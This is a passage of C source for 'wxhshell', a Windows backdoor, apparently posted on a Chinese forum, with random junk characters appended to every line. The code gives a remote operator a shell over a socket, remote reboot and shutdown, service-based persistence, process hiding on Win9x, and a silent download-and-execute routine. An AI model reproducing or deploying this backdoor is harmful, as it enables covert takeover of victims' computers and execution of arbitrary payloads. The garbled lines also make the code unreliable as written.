6%fKuMpK(  
    switch(cmd[0]) { (4\d]*u5-c  
  QK+(g,)_86  
  // 帮助 Zc!@0  
  case '?': { e'=MQ,EWd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C-Ht(x|  
    break; *X4PM\ck  
  } !}4MN:r  
  // 安装 ,:`ND28V7  
  case 'i': { JB>b`W9   
    if(Install()) A0fFv+RN3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (sQr X{~  
    else I(9R~q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "h|'}7p  
    break; 9Ffp2NW`;  
    } _z54Ycr4H  
  // 卸载 C#H:-Q&  
  case 'r': { i| ZceX/  
    if(Uninstall()) >5j<4ShW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zcva-ze:;  
    else '&sE=.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (XXheC  
    break; P9S2?Q  
    } |QMhMGjV  
  // 显示 wxhshell 所在路径 V=lfl1Ev0J  
  case 'p': { *b xzCI7b  
    char svExeFile[MAX_PATH]; > ]8a3x  
    strcpy(svExeFile,"\n\r"); "3<da*D1  
      strcat(svExeFile,ExeFile); &R$CZU  
        send(wsh,svExeFile,strlen(svExeFile),0); @fa@s-wb  
    break; 4T?h  
    } sYdRh?Hq  
  // 重启 |=EZ1<KzD  
  case 'b': { {O+Kw<d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JMVNmq&0  
    if(Boot(REBOOT)) P) uDLFp]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o/}}=m$  
    else { 5r?m&28X  
    closesocket(wsh); TuW/N L|  
    ExitThread(0); JkGnKm9G  
    } w=}uwvn NX  
    break; wQ%mN[  
    } HFqm6|  
  // 关机 4<x'ocKlD  
  case 'd': { /'hCi]b@v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e4G4GZH8  
    if(Boot(SHUTDOWN)) '*Almv{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nN~~cV  
    else { gN>2xnh'm  
    closesocket(wsh); r@{~ 5&L  
    ExitThread(0); ^+ wD43  
    } r)T:7zy  
    break; W;1|+6x  
    } Q0\0f  
  // 获取shell jn: NYJv  
  case 's': { @G:V  
    CmdShell(wsh); T2D<UhP  
    closesocket(wsh); w ~ dk#=  
    ExitThread(0); .)+h H y  
    break; ZlHDi!T  
  } 0Hs|*:Y1D  
  // 退出 S=xA[%5  
  case 'x': { XUF\r]B,9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kvh&d|  
    CloseIt(wsh); .c#y%S  
    break; rS0DSGDq  
    } VqE~c  
  // 离开 } %'bullT  
  case 'q': { k"N(o(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^T.E+2=>z  
    closesocket(wsh); o0ZM[0@j  
    WSACleanup(); Sggq3l$Qc  
    exit(1); 0oh]61g C  
    break; i%{3W:!4t  
        } vfNAs>Xg"  
  } UYA_jpIP  
  } z`6fotL  
L.T?}o  
  // 提示信息 Q`#4W3-,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Sq_Tw3^  
} j Y6MjZI  
  } n9;;x%6.I  
9=,uq;  
  return; zyg:nKQW  
} m>}8'N)  
f,z P*  
// shell模块句柄 SSBg?H'T  
int CmdShell(SOCKET sock) JxjI]SF02  
{ \]9.zlB  
STARTUPINFO si; hfcIvs/!  
ZeroMemory(&si,sizeof(si));  h C=:q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; efG6v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &/A 8-:m  
PROCESS_INFORMATION ProcessInfo; 1G7b%yPA  
char cmdline[]="cmd"; < pTTo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3jogD  
  return 0; E1&b#TE 6O  
} ICB~_O5  
[~\PQYm'  
// 自身启动模式 CU:o*;jP  
int StartFromService(void) dx,=Rd5'  
{ &ff&Y.q~  
typedef struct WhBpv(q}.  
{ 93IFcmO.H@  
  DWORD ExitStatus; H +bdsk  
  DWORD PebBaseAddress; z^nvMTC  
  DWORD AffinityMask; NA$zd(  
  DWORD BasePriority; 0lM{l?  
  ULONG UniqueProcessId; jxgj,h"}9`  
  ULONG InheritedFromUniqueProcessId; GFk1/ F  
}   PROCESS_BASIC_INFORMATION; zciCcrJ  
.bD_R7Bi6  
PROCNTQSIP NtQueryInformationProcess; U Q@7n1  
YHV-|UNF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uE=$p)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m6 s7F/  
]v G{kAnH  
  HANDLE             hProcess; CnN9!~]"  
  PROCESS_BASIC_INFORMATION pbi; qP!P +'B  
S<nq8Ebmw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^")F7`PF  
  if(NULL == hInst ) return 0; r,(e t  
nsb4S {  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6O2=Ns;J6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7:NmCpgL!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RQW6N??C  
5~XN>>hp  
  if (!NtQueryInformationProcess) return 0; ":Edu,6O  
Lh$dzHq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~Z$bf>[(R7  
  if(!hProcess) return 0; rSP_:}  
KyP)Qzp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  6qo^2  
s,*c@1f?  
  CloseHandle(hProcess); w'7R4  
m+$ @'TbP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MVCl.o  
if(hProcess==NULL) return 0; V+wH?H=  
E{Pgf8  
HMODULE hMod; :Zw @yt  
char procName[255]; P5QQpY{<I  
unsigned long cbNeeded; \ u+xa{b|  
aaWJ* >rJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UFn8kBk  
3b[jwCt  
  CloseHandle(hProcess); |4Ck;gg!j  
9O,,m~B  
if(strstr(procName,"services")) return 1; // 以服务启动 Lb=W;9;  
RBGlzk  
  return 0; // 注册表启动 -qV{WZHp  
} FdOFE.l  
X7*`  
// 主模块 fn{S "33"  
int StartWxhshell(LPSTR lpCmdLine) J?:[$C5  
{ +$z]w(lbT  
  SOCKET wsl; t@bt6J .{  
BOOL val=TRUE; `BZ&~vJ_  
  int port=0; |I[7,`C~  
  struct sockaddr_in door; '3l$al:H^  
$<?X7n^  
  if(wscfg.ws_autoins) Install(); @=]8^?$t 0  
KT*:F(4`  
port=atoi(lpCmdLine); X}4}&  
nw'-`*'rj  
if(port<=0) port=wscfg.ws_port; CidM(  
eo#^L}  
  WSADATA data; SjcL#S($&Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BZ+-p5]-  
w3*-^: ?j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \X}8 q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S9Y[4*//  
  door.sin_family = AF_INET; YwT-T,oD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =)<3pGO  
  door.sin_port = htons(port); #'o7x'n^  
msTB'0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vj^dD9:  
closesocket(wsl); {gy+3  
return 1; q{4|Kpx@  
} fJ80tt?r  
%EbiMo ]3B  
  if(listen(wsl,2) == INVALID_SOCKET) { d}0qJoH4  
closesocket(wsl); &y_? rH  
return 1; f5dR 5G  
} l`n5~Fs  
  Wxhshell(wsl); a, Kky ^B  
  WSACleanup(); j=sBq.S  
)GB`*M[   
return 0; /-*hjX$n  
\MYU<6{u  
} KHj6Tg;)  
6!7Pm>ml  
// 以NT服务方式启动 +$beo2x6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6517Km 4-  
{ M[Y4_$k<-  
DWORD   status = 0; <4?*$  
  DWORD   specificError = 0xfffffff; }~enEZ  
%JoxYy-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xza4iV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w{7 ji}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )@ PnTpL*  
  serviceStatus.dwWin32ExitCode     = 0; c]m! G'L_/  
  serviceStatus.dwServiceSpecificExitCode = 0; F$6? t.@J  
  serviceStatus.dwCheckPoint       = 0; eO4)|tW  
  serviceStatus.dwWaitHint       = 0; !ng\` |8?  
j]> uZalr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d?Y-;-|8Qh  
  if (hServiceStatusHandle==0) return; B%b_/F]e  
fNhT;Bux  
status = GetLastError(); c;V D}UD'  
  if (status!=NO_ERROR) P1d,8~;  
{ 03E3cp"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C!UEXj`l9  
    serviceStatus.dwCheckPoint       = 0; 1MQ/ r*(  
    serviceStatus.dwWaitHint       = 0; D zDj)7  
    serviceStatus.dwWin32ExitCode     = status; 1$["79k  
    serviceStatus.dwServiceSpecificExitCode = specificError; _`aR_ %Gx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L{PH0Jf  
    return; hLA;Bl  
  } Ggd lVi 2  
1Ii| {vR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $pu3Ig$^  
  serviceStatus.dwCheckPoint       = 0; zO2{.4  
  serviceStatus.dwWaitHint       = 0; I6w/0,azC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1i,4".h?M  
} wu^q`!ml  
fA XE~  
// 处理NT服务事件,比如:启动、停止 [@.B4p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k:0P+d  
{ %]jQ48^R  
switch(fdwControl) -Cj_B\  
{ i:k-"  
case SERVICE_CONTROL_STOP: >(tO QeN  
  serviceStatus.dwWin32ExitCode = 0; o>u!CL<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IA4+ad'\E  
  serviceStatus.dwCheckPoint   = 0; 9v?V  
  serviceStatus.dwWaitHint     = 0; 8t``NZ[  
  { %|?1B$s0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !GNXt4D  
  } 1o#vhk/ "+  
  return; v72,h  
case SERVICE_CONTROL_PAUSE: ?'+8[OHiF^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FW^.m?}|  
  break; n0FYfqH  
case SERVICE_CONTROL_CONTINUE: + U5U.f%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +u#Sl)F  
  break; D=9}|b/  
case SERVICE_CONTROL_INTERROGATE: V_M@g;<o  
  break; SQIdJG^:  
}; C9Wojo.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 44Qk;8*  
} ? Q:PPqQ  
> ZDC . ~  
// 标准应用程序主函数 2fBYT4*P;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s"rg_FoL  
{ ?z"YC&Tp  
_S<?t9mS  
// 获取操作系统版本 Z!)f*  
OsIsNt=GetOsVer(); rIPl6,w~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `r.N  
x vJ^@w'  
  // 从命令行安装 H /%}R  
  if(strpbrk(lpCmdLine,"iI")) Install(); >W~=]&7{s4  
J" wKRy  
  // 下载执行文件 GiqBzV3"  
if(wscfg.ws_downexe) { &G=0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =BW9/fG  
  WinExec(wscfg.ws_filenam,SW_HIDE); GWh|FEqUbf  
} iE+6UK  
yjv&4pIc1  
if(!OsIsNt) { $P_x v  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]W|RtdF3.N  
HideProc(); K Dz]wNf  
StartWxhshell(lpCmdLine); %%x0w^  
} r4S=I   
else p  .aE  
  if(StartFromService()) x!`KhTu`_A  
  // 以服务方式启动 >DS}#'N4l  
  StartServiceCtrlDispatcher(DispatchTable); a'^0.1  
else |P~q/Wff  
  // 普通方式启动 777rE[\@b  
  StartWxhshell(lpCmdLine); 0w+5'lOg  
U_}hfLILi  
return 0; N=<=dp(  
}
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只看该作者 1 发表于: 2006-10-10
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